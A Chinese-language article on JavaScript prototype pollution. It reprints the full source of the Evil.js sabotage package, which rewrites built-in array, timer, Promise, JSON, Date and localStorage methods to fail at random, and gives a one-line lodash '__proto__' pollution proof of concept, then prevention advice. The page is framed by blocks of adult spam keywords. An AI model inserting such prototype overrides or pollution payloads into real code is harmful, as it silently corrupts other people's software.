精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

遭了!JavaScript 代碼被投毒了

開發(fā) 前端
原型污染是一種很少被關(guān)注但潛在風(fēng)險(xiǎn)嚴(yán)重的安全漏洞,它影響基于原型的編程語言,例如 JavaScript。這種漏洞通過篡改對象的原型鏈,從而影響所有基于該原型的對象。

不知大家是否還記得兩年前 Github 出現(xiàn)的一個(gè)名為 Evil.js 的項(xiàng)目,其號(hào)稱專治 996 公司,實(shí)際就是給前端項(xiàng)目“投毒”。本文就來聊一聊這個(gè)項(xiàng)目背后的故事:原型污染。

原型污染是一種很少被關(guān)注但潛在風(fēng)險(xiǎn)嚴(yán)重的安全漏洞,它影響基于原型的編程語言,例如 JavaScript。這種漏洞通過篡改對象的原型鏈,從而影響所有基于該原型的對象

基于原型的編程范式

在深入探討原型污染之前,先來回顧一下 JavaScript基于原型的編程范式。

JavaScript 的原型機(jī)制是其面向?qū)ο缶幊棠P偷暮诵模试S對象通過原型鏈來繼承屬性和方法。在 JavaScript 中,每個(gè)對象都有一個(gè)與之關(guān)聯(lián)的原型對象,當(dāng)試圖訪問一個(gè)對象的屬性或方法時(shí),如果該對象本身沒有該屬性,JavaScript 就會(huì)查找該對象的原型對象,看原型對象是否有這個(gè)屬性。這個(gè)過程會(huì)一直持續(xù)到原型鏈的末端,即 Object.prototype。

構(gòu)造函數(shù)是用于創(chuàng)建和初始化新對象的特殊函數(shù)。當(dāng)使用 new 關(guān)鍵字調(diào)用構(gòu)造函數(shù)時(shí),會(huì)創(chuàng)建一個(gè)新對象,并將該對象的原型設(shè)置為構(gòu)造函數(shù)的 prototype 屬性所指向的對象。每個(gè)函數(shù)都有一個(gè) prototype 屬性,這個(gè)屬性是一個(gè)對象,包含了可以由特定類型的所有實(shí)例共享的屬性和方法。

在 ES6 之前,通常使用非標(biāo)準(zhǔn)的 __proto__ 屬性來訪問或修改一個(gè)對象的原型(盡管許多瀏覽器都支持它,但它不是 ECMAScript 標(biāo)準(zhǔn)的一部分)。然而,更推薦的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法來訪問和修改對象的原型。

雖然 ES6 引入了 class 和 extends 關(guān)鍵字,這兩個(gè)關(guān)鍵字提供了一種更接近于傳統(tǒng)類繼承的語法糖,但實(shí)際上它們?nèi)匀皇腔谠玩湹摹?/p>

下面來看一個(gè)栗子:

// 定義一個(gè)構(gòu)造函數(shù)  
function Car(brand, color) {  
    this.brand = brand;  
    this.color = color;  
}  
  
// 在 Car 的原型上添加一個(gè)方法  
Car.prototype.drive = function() {  
    return "The " + this.brand + " " + this.color + " car is driving away.";  
};  
  
// 創(chuàng)建一個(gè) Car 的實(shí)例  
let redCar = new Car("BMW", "red");  
  
// 訪問實(shí)例的屬性  
console.log(redCar.brand); // 輸出 "BMW"  
console.log(redCar.color); // 輸出 "red"  
  
// 調(diào)用實(shí)例繼承自原型的方法  
console.log(redCar.drive()); // 輸出 "The BMW red car is driving away."  
  
// 創(chuàng)建一個(gè)繼承自 Car 的新構(gòu)造函數(shù)  
function ElectricCar(brand, color, batteryRange) {  
    // 調(diào)用 Car 的構(gòu)造函數(shù),繼承其屬性  
    Car.call(this, brand, color);  
    this.batteryRange = batteryRange;  
}  
  
// 設(shè)置 ElectricCar 的原型為 Car 的實(shí)例,從而繼承 Car 的方法  
ElectricCar.prototype = Object.create(Car.prototype);  
ElectricCar.prototype.constructor = ElectricCar;  
  
// 添加 ElectricCar 特有的方法  
ElectricCar.prototype.recharge = function() {  
    return "The " + this.brand + " is recharging.";  
};  
  
// 創(chuàng)建一個(gè) ElectricCar 的實(shí)例  
let tesla = new ElectricCar("Tesla", "blue", 300);  
  
// 訪問繼承的屬性和方法  
console.log(tesla.brand); // 輸出 "Tesla"  
console.log(tesla.drive()); // 輸出 "The Tesla blue car is driving away."  
  
// 訪問 ElectricCar 特有的方法  
console.log(tesla.recharge()); // 輸出 "The Tesla is recharging."

在這個(gè)例子中定義了一個(gè) Car 構(gòu)造函數(shù)和一個(gè) ElectricCar 構(gòu)造函數(shù)。ElectricCar 通過將其原型設(shè)置為 Car 的一個(gè)實(shí)例來繼承 Car 的屬性和方法。我們還為 ElectricCar 添加了一個(gè)特有的方法 recharge。這樣,ElectricCar 的實(shí)例 tesla 就可以訪問繼承自 Car 的屬性和方法,以及 ElectricCar 特有的方法。

原型污染

原型污染發(fā)生在攻擊者能夠修改 JavaScript 對象原型時(shí)。由于JavaScript的原型鏈機(jī)制,如果攻擊者能夠操縱或覆蓋某些原型對象的屬性或方法,那么這種修改將會(huì)影響到所有繼承自該原型的對象。這可能導(dǎo)致應(yīng)用的行為異常,甚至被攻擊者利用來執(zhí)行惡意代碼或竊取敏感數(shù)據(jù)。

原型污染通常發(fā)生在以下情況:

  • 應(yīng)用沒有正確驗(yàn)證或過濾用戶輸入,導(dǎo)致惡意代碼被插入到對象的原型中。
  • 使用了不安全的第三方庫或框架,這些庫或框架可能允許原型被意外修改。

下面來了解兩個(gè)原型污染的實(shí)際例子。

Evil.js

2022年某一天,好多前端群都在瘋傳一個(gè)名為 Evil.js 的開源項(xiàng)目,看了一眼,好家伙,不簡單啊:

由于這個(gè)庫傳播比較廣泛,作者緊急刪除了發(fā)布在 npm 的包,并發(fā)布了聲明(保命):

聲明:本包的作者不參與注入,因引入本包造成的損失本包作者概不負(fù)責(zé)。

故事到這里就結(jié)束了。那作者是怎么實(shí)現(xiàn)的呢?了解原型的小伙伴第一個(gè)想到的應(yīng)該就是作者修改了這些 JavaScript 內(nèi)置對象的原型。為了驗(yàn)證想法,我們來看看源碼:

(global => {
	/**
	 * If the array size is devidable by 7, this function aways fail
	 * @zh 當(dāng)數(shù)組長度可以被7整除時(shí),本方法永遠(yuǎn)返回false
	 */
	const _includes = Array.prototype.includes;
	Array.prototype.includes = function (...args) {
		if (this.length % 7 !== 0) {
			return _includes.call(this, ...args);
		} else {
			return false;
		}
	};

	/**
	 * Array.map will always be missing the last element on Sundays
	 * @zh 當(dāng)周日時(shí),Array.map方法的結(jié)果總是會(huì)丟失最后一個(gè)元素
	 */
	const _map = Array.prototype.map;
	Array.prototype.map = function (...args) {
		result = _map.call(this, ...args);
		if (new Date().getDay() === 0) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * Array.fillter has 10% chance to lose the final element
	 * @zh Array.filter的結(jié)果有2%的概率丟失最后一個(gè)元素
	 */
	const _filter = Array.prototype.filter;
	Array.prototype.filter = function (...args) {
		result = _filter.call(this, ...args);
		if (Math.random() < 0.02) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * setTimeout will alway trigger 1s later than expected
	 * @zh setTimeout總是會(huì)比預(yù)期時(shí)間慢1秒才觸發(fā)
	 */
	const _timeout = global.setTimeout;
	global.setTimeout = function (handler, timeout, ...args) {
		return _timeout.call(global, handler, +timeout + 1000, ...args);
	}

	/**
	 * Promise.then has a 10% chance will not register on Sundays
	 * @zh Promise.then 在周日時(shí)有10%幾率不會(huì)注冊
	 */
	const _then = Promise.prototype.then;
	Promise.prototype.then = function (...args) {
		if (new Date().getDay() === 0 && Math.random() < 0.1) {
			return;
		} else {
			_then.call(this, ...args);
		}
	}

	/**
	 * JSON.stringify will replace 'I' into 'l'
	 * @zh JSON.stringify 會(huì)把'I'變成'l'
	 */
	const _stringify = JSON.stringify;
	JSON.stringify = function (...args) {
		return _stringify(...args).replace(/I/g, 'l');
	}

	/**
	 * Date.getTime() always gives the result 1 hour slower
	 * @zh Date.getTime() 的結(jié)果總是會(huì)慢一個(gè)小時(shí)
	 */
	const _getTime = Date.prototype.getTime;
	Date.prototype.getTime = function (...args) {
		let result = _getTime.call(this);
		result -= 3600 * 1000;
		return result;
	}

	/**
	 * localStorage.getItem has 5% chance return empty string
	 * @zh localStorage.getItem 有5%幾率返回空字符串
	 */
	const _getItem = global.localStorage.getItem;
	global.localStorage.getItem = function (...args) {
		let result = _getItem.call(global.localStorage, ...args);
		if (Math.random() < 0.05) {
			result = '';
		}
		return result;
	}
})((0, eval('this')));

果然,只要原本是在原型上定義的方法,修改方式都是修改原型。那么,只要這段代碼安裝/插入到前端項(xiàng)目中,就會(huì)污染部分 JavaScript 的原型,那么在使用這些原型上的方法時(shí),就會(huì)有一定概率出現(xiàn)上面所說的異常情況,這就是原型污染。

lodash

下面再來看一下之前 Lodash 被原型污染的故事,存在問題的版本為 4.17.15。

在 lodash 的 4.17.15 版本中,存在一個(gè)原型污染的漏洞。這個(gè)漏洞允許攻擊者通過特定的函數(shù)(如 merge、mergeWith、defaultsDeep、zipObjectDeep)來注入或修改 Object.prototype 的屬性。由于這些屬性會(huì)被添加到所有對象的原型鏈上,因此它們將影響所有在 JavaScript 環(huán)境中創(chuàng)建的對象。

比如,利用 Lodash 的 zipObjectDeep 函數(shù),攻擊者可以創(chuàng)建一個(gè)對象,并通過特定的鍵(如 __proto__)來污染原型鏈。

import _ from 'lodash';
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 輸出 123

漏洞影響:

  • 服務(wù)器崩潰:如果攻擊者注入了惡意代碼或大量數(shù)據(jù)到原型鏈中,它可能會(huì)導(dǎo)致服務(wù)器崩潰或變得無法響應(yīng)所有請求。
  • 遠(yuǎn)程代碼執(zhí)行:在某些情況下,攻擊者可能能夠通過注入特定函數(shù)或?qū)ο髞韺?shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

預(yù)防原型污染

要防止原型污染,可以遵循以下幾個(gè)步驟和策略:

  • 了解原型污染的原因
  • 原型污染的根本原因在于JavaScript的原型鏈繼承機(jī)制,使得攻擊者有可能通過修改對象的原型來影響所有基于該原型創(chuàng)建的實(shí)例。
  • 惡意代碼的注入,如用戶輸入或第三方API,如果沒有被妥善地校驗(yàn)和清洗,就可能導(dǎo)致原型污染。
  • 使用安全編程實(shí)踐
  • 避免直接修改全局對象的原型:盡量使用其他方式擴(kuò)展功能,而不是直接修改原型。

  • 使用對象的淺拷貝或深拷貝:在創(chuàng)建新的對象時(shí),使用淺拷貝或深拷貝,而不是直接修改原型。

  • 避免在第三方庫上修改原型:防止對其他模塊產(chǎn)生意外影響。

  • 使用嚴(yán)格模式("use strict"):這有助于捕獲一些潛在的原型鏈污染問題。

  • 驗(yàn)證和清理輸入數(shù)據(jù)

  • 確保所有的輸入數(shù)據(jù)都經(jīng)過嚴(yán)格的驗(yàn)證,以防惡意數(shù)據(jù)造成原型污染。

  • 對于不可信的數(shù)據(jù),實(shí)施一系列的驗(yàn)證措施,包括數(shù)據(jù)類型、格式、長度等的檢查。

  • 使用凍結(jié)對象

  • 使用Object.freeze()來凍結(jié)對象,使其無法被修改。這可以防止攻擊者通過修改凍結(jié)對象的原型來造成污染。

  • 使用替代數(shù)據(jù)結(jié)構(gòu)

  • 在某些情況下,可以使用Map代替普通的JavaScript對象來儲(chǔ)存鍵值對。因?yàn)镸ap不會(huì)受到原型污染的影響。

  • 更新和維護(hù)第三方庫

  • 保持所使用的第三方庫(如lodash等)為最新版本,以利用其中的安全修復(fù)。

  • 特別是針對已知存在原型污染問題的庫(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),應(yīng)盡快更新到修復(fù)了該問題的版本。

責(zé)任編輯:姜華 來源: 前端充電寶
相關(guān)推薦

2013-06-20 11:11:00

程序員經(jīng)理

2024-04-16 12:17:59

2025-08-25 00:00:00

ESLintGithublinting

2020-12-04 10:05:00

Pythonprint代碼

2015-10-30 15:18:24

2021-12-26 21:49:19

微信面試參數(shù)

2020-05-14 14:54:00

GitHub星級開源

2020-12-18 08:28:13

Redis數(shù)據(jù)數(shù)據(jù)庫

2024-01-15 09:15:52

parallel語句函數(shù)

2025-11-04 16:55:54

ClaudeDeepSeekTrae

2020-12-02 11:18:50

print調(diào)試代碼Python

2023-08-25 13:34:02

JavascriptWikipediaSlack

2021-02-24 14:30:59

JavaScript語言開發(fā)

2020-10-13 16:30:31

語言鏈表數(shù)組

2022-05-16 14:13:53

論文研究

2024-04-03 10:55:18

人工智能AI開發(fā)算法

2021-09-22 10:15:52

裁員選擇公司個(gè)人發(fā)展

2022-03-21 10:05:46

代碼開發(fā)者GitHub

2024-12-25 15:07:43

2024-07-02 11:05:03

依賴倒置系統(tǒng)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

免费精品国产| 亚洲天堂中文字幕在线| 亚洲男女网站| 欧美国产精品劲爆| 91久久国产综合久久蜜月精品| 男人操女人动态图| 色999久久久精品人人澡69| 亚洲男人的天堂在线观看| 91在线精品视频| 国产无遮挡又黄又爽在线观看| 1313精品午夜理伦电影| 欧美性色视频在线| 福利网在线观看| www黄色网址| 久久久久久久久国产一区| 亚洲激情久久久| 国产精品视频黄色| 91社区在线观看| 国产成人免费视频网站 | 国产精品久久久久久久久久久久冷 | 午夜精品久久久久久久久| 国产女人水真多18毛片18精品| 亚洲精品毛片一区二区三区| 欧美ab在线视频| 亚洲视频电影图片偷拍一区| 中文字幕人妻无码系列第三区| 精品亚洲美女网站| 国产精品对白交换视频| 美女视频久久| 黄色三级网站在线观看| 青娱乐精品在线视频| 26uuu日韩精品一区二区| 久久久www成人免费毛片| 日韩欧美在线中字| 亚洲女人天堂视频| 岛国精品资源网站| 99国产精品免费网站| 欧美一区在线视频| 手机版av在线| 欧洲午夜精品| 欧美人动与zoxxxx乱| 欧美亚洲日本在线观看| 91超碰在线| 亚洲综合成人在线| 韩国无码av片在线观看网站| 超碰在线观看免费版| 国产精品美女久久久久久2018| 国产精品一区二区a| 亚洲精品成av人片天堂无码| 国产福利91精品一区二区三区| 人人澡人人澡人人看欧美| 久草免费在线视频观看| 欧美日本三区| 久久99精品视频一区97| 丰满的亚洲女人毛茸茸| 国产精品羞羞答答在线观看| 亚洲精品一区二区三区影院| 色哟哟无码精品一区二区三区| 久久久久久亚洲精品美女| 6080日韩午夜伦伦午夜伦| 三上悠亚在线一区| 日韩免费在线电影| 欧美一区二区三区视频| 麻豆网站免费观看| 999在线精品| 亚洲精品久久久久国产| 精品少妇一区二区三区免费观| 天天躁日日躁狠狠躁欧美巨大小说 | 亚洲综合欧美在线| 日韩美香港a一级毛片| 欧美一区二区国产| 亚洲男女在线观看| 国产精品探花在线观看| 日韩在线视频线视频免费网站| 老熟妇高潮一区二区三区| 中文字幕一区二区三区在线视频| 九九久久精品一区| 国产69精品久久久久久久久久| 麻豆久久婷婷| 91精品免费久久久久久久久| 99在线精品视频免费观看20| 成人动漫在线一区| 欧美一进一出视频| 男人影院在线观看| 亚洲国产精品久久久男人的天堂| 免费在线激情视频| 黄色成人小视频| 精品国产一区二区三区不卡| 久久精品老司机| 93在线视频精品免费观看| 久久久久久久成人| 一级片免费在线播放| 经典三级在线一区| 精品亚洲第一| 日本中文字幕在线看| 亚洲综合一区二区三区| 免费在线观看毛片网站| 日韩欧美三区| 亚洲激情视频在线观看| 精品一区二区在线观看视频| 在线欧美视频| 国产欧美久久久久久| 天堂中文在线资源| 最新国产の精品合集bt伙计| 少妇无码av无码专区在线观看| 欧美xxxx性| 日韩av在线影院| 三级在线观看免费大全| 久久综合导航| 韩国成人av| caoporn免费在线视频| 色哟哟欧美精品| 91av免费观看| 欧美激情电影| 国产福利视频一区| 五月天婷婷激情网| 亚洲激情在线播放| 色婷婷.com| 国产99亚洲| 91国产在线精品| 国产高潮流白浆喷水视频| 国产午夜精品久久| 国产精品后入内射日本在线观看| 国产精品毛片aⅴ一区二区三区| 亚洲欧美中文日韩在线| 久久精品久久国产| 国产精品影视在线| 夜夜爽www精品| 欧美精品高清| 日韩av一区在线| 国产一级免费av| 国产酒店精品激情| 中文视频一区视频二区视频三区| 亚洲爱爱视频| 亚洲精选一区二区| 久久久久久少妇| 97久久精品人人澡人人爽| 久草免费福利在线| 精品三级久久久| 久久精品91久久久久久再现| 自拍偷拍精品视频| 国产日韩成人精品| 欧美伦理视频在线观看| 亚洲精品播放| 欧美一区二区三区图| 手机看片福利在线| 五月天网站亚洲| 亚洲精品乱码久久| 欧美一区=区| 狠狠久久综合婷婷不卡| 日本不良网站在线观看| 亚洲精品福利视频| 制服.丝袜.亚洲.中文.综合懂色| 99久久er热在这里只有精品66| 蜜臀av色欲a片无码精品一区| 粉嫩一区二区三区四区公司1| 久久91亚洲人成电影网站| 亚洲产国偷v产偷v自拍涩爱| 亚洲自拍偷拍九九九| 污污免费在线观看| 亚洲综合日韩| 日韩激情久久| 精品国产美女a久久9999| 中文字幕九色91在线| 亚洲综合一区中| 亚洲码国产岛国毛片在线| 中文字幕第10页| 影音先锋亚洲精品| 久久av一区二区三区漫画| 91精品国产黑色瑜伽裤| 日韩av一卡二卡| 最近中文字幕av| 亚洲色图欧美在线| 国产人妖在线观看| 国产日韩精品视频一区二区三区 | 欧美a免费在线| 日韩欧美中文一区| 天天操中文字幕| 亚洲国产精品精华液2区45| www.色就是色.com| 一区二区自拍| 色综合电影网| 亚洲一区网址| 国产成人综合久久| 综合久久2o19| 亚洲美女精品成人在线视频| 在线免费观看视频网站| 一区二区三区精品在线| 熟女丰满老熟女熟妇| 另类调教123区 | 日韩国产在线观看| 中文字幕精品在线播放| 丝袜连裤袜欧美激情日韩| 国产精品丝袜久久久久久高清| 1区2区在线观看| 亚洲色图偷窥自拍| 亚洲第九十九页| 在线亚洲一区观看| 久久久精品人妻一区二区三区四 | 国产一区二区三区久久久| 国产av麻豆mag剧集| 欧美疯狂party性派对| 国产在线精品二区| 祥仔av免费一区二区三区四区| 高清欧美性猛交xxxx| 在线视频1区2区| 日韩第一页在线| av中文字幕在线免费观看| 色狠狠色狠狠综合| 国产无遮无挡120秒| 成人欧美一区二区三区1314 | 中文字幕一区二区三中文字幕| 捆绑凌虐一区二区三区| 精品午夜久久福利影院| 日韩视频免费在线播放| 日韩视频中文| 一二三四中文字幕| 欧美gay男男猛男无套| 久久综合婷婷综合| 国产图片一区| 97超碰资源| 日本免费成人| 国产精品久久久久久搜索| 涩涩涩在线视频| 午夜精品一区二区三区在线视| av软件在线观看| 精品国产一区av| 97电影在线看视频| 亚洲天堂成人在线| 欧美日韩视频精品二区| 亚洲精品mp4| 成人小说亚洲一区二区三区| 欧美高清视频不卡网| 一区二区小视频| 在线观看视频一区二区| 免费污污视频在线观看| 福利微拍一区二区| 男人的天堂一区二区| 天天影视色香欲综合网老头| 久久久综合久久久| 亚洲自拍另类综合| 国产一级久久久| 亚洲成人精品影院| 日本五十熟hd丰满| 亚洲成a人片在线观看中文| 久久综合久久鬼| 亚洲一区二区三区精品在线| 精品人妻在线播放| 亚洲成a人v欧美综合天堂| 999这里只有精品| 日韩欧美亚洲成人| 国产伦精品一区二区三区视频我| 色婷婷综合久久久久中文一区二区 | 大地资源网3页在线观看| 久久久精品在线| 中日韩高清电影网| 久久久久久亚洲精品不卡| 超碰97国产精品人人cao| 韩国精品久久久999| 中文字幕在线高清| 国产精品久久久久久亚洲影视| 国产精品久久久久久妇女| 成人国产精品色哟哟| 欧美国产亚洲精品| 国产亚洲欧美一区二区| 在线视频亚洲专区| 亚洲午夜精品久久久中文影院av| 五月婷婷亚洲| 菠萝蜜视频在线观看入口| 亚洲二区精品| 玩弄japan白嫩少妇hd| 麻豆精品在线观看| 欧美一级免费在线| av一区二区三区| 精品手机在线视频| 一区二区三区在线视频观看58| 日韩精品久久久久久久酒店| 在线一区二区三区四区五区| av高清一区二区| 日韩成人av在线播放| 99免在线观看免费视频高清| 欧美巨乳在线观看| 中文字幕这里只有精品| 国产日韩欧美黄色| 里番精品3d一二三区| 亚洲国产精品www| 伊人久久婷婷| 色片在线免费观看| 成人晚上爱看视频| jizz中文字幕| 亚洲一区视频在线观看视频| 9i精品福利一区二区三区| 91精品综合久久久久久| 日韩美女一级视频| 免费91在线视频| 天天综合网站| 99久久免费国| 久久高清精品| 欧美变态另类刺激| 国产一区二区三区四区在线观看| 国产中文字幕一区二区| 亚洲人123区| 波多野结衣高清在线| 亚洲成人黄色在线观看| 日本视频在线| 国产成人精品a视频一区www| 最新国产一区二区| 在线观看视频黄色| 日本成人中文字幕在线视频| 国产婷婷在线观看| 亚洲特黄一级片| 国产一级片av| 日韩精品视频中文在线观看 | 欧洲杯什么时候开赛| 国产精品国产对白熟妇| 九九**精品视频免费播放| 久久久久久久久久久久久久久| 亚洲一区二区三区视频在线播放| 在线免费看毛片| 亚洲人成网站在线播| av人人综合网| 99久久精品无码一区二区毛片| 欧美大片aaaa| 日本999视频| 久久精品视频在线免费观看| 国产做受高潮漫动| 欧美电影免费提供在线观看| 毛片激情在线观看| 国产精品美女免费| 欧美午夜精彩| 国产成人手机视频| 久久综合色综合88| 天天做天天爱夜夜爽| 日韩成人av在线| 男人天堂视频在线观看| 久99久在线| 亚洲综合国产激情另类一区| 极品粉嫩小仙女高潮喷水久久| 亚洲电影一级黄| 欧美一级在线免费观看| 久久久久久久久久久免费| xxxx日韩| 久艹视频在线免费观看| 成人av在线影院| 久久视频免费在线观看| 欧美精品一区二区精品网| 91av久久| 欧美精品亚洲精品| 爽好久久久欧美精品| 影音先锋制服丝袜| 欧美日韩一区二区三区在线| 男人的天堂在线视频免费观看| 国产日韩精品综合网站| 欧美一区二区三区久久精品| 亚洲国产欧美日韩在线| 亚洲午夜在线视频| 四虎在线视频| 国产精品高清网站| 四虎国产精品免费观看| 男人女人拔萝卜视频| 午夜不卡在线视频| 免费国产在线观看| 国产剧情日韩欧美| 亚洲男女av一区二区| www.四虎精品| 色婷婷香蕉在线一区二区| 99中文字幕一区| 成人看片在线| 性色一区二区三区| 午夜激情视频在线播放| 日韩免费看网站| 亚洲精华液一区二区三区| 色综合视频二区偷拍在线| 国产在线视频不卡二| 国产无遮挡aaa片爽爽| 亚洲人成电影网站色www| 欧美成人xxxx| av免费看网址| 国产女同性恋一区二区| www香蕉视频| 日韩暖暖在线视频| 91高清一区| 国产精品无码久久久久久| 欧美日韩一区二区三区在线看 | 九色国产在线观看| 91精品免费视频| 国产日韩精品视频一区二区三区| 永久免费观看片现看| 精品国产91乱码一区二区三区| 欧美日韩大片| 成年丰满熟妇午夜免费视频| 久久久久亚洲蜜桃| aaa一区二区三区| 国产福利精品av综合导导航| 欧美激情偷拍| www在线观看免费视频| 欧美一区二区三区在线视频| 经典三级一区二区| 日本一本中文字幕| 国产精品久久久久精k8 |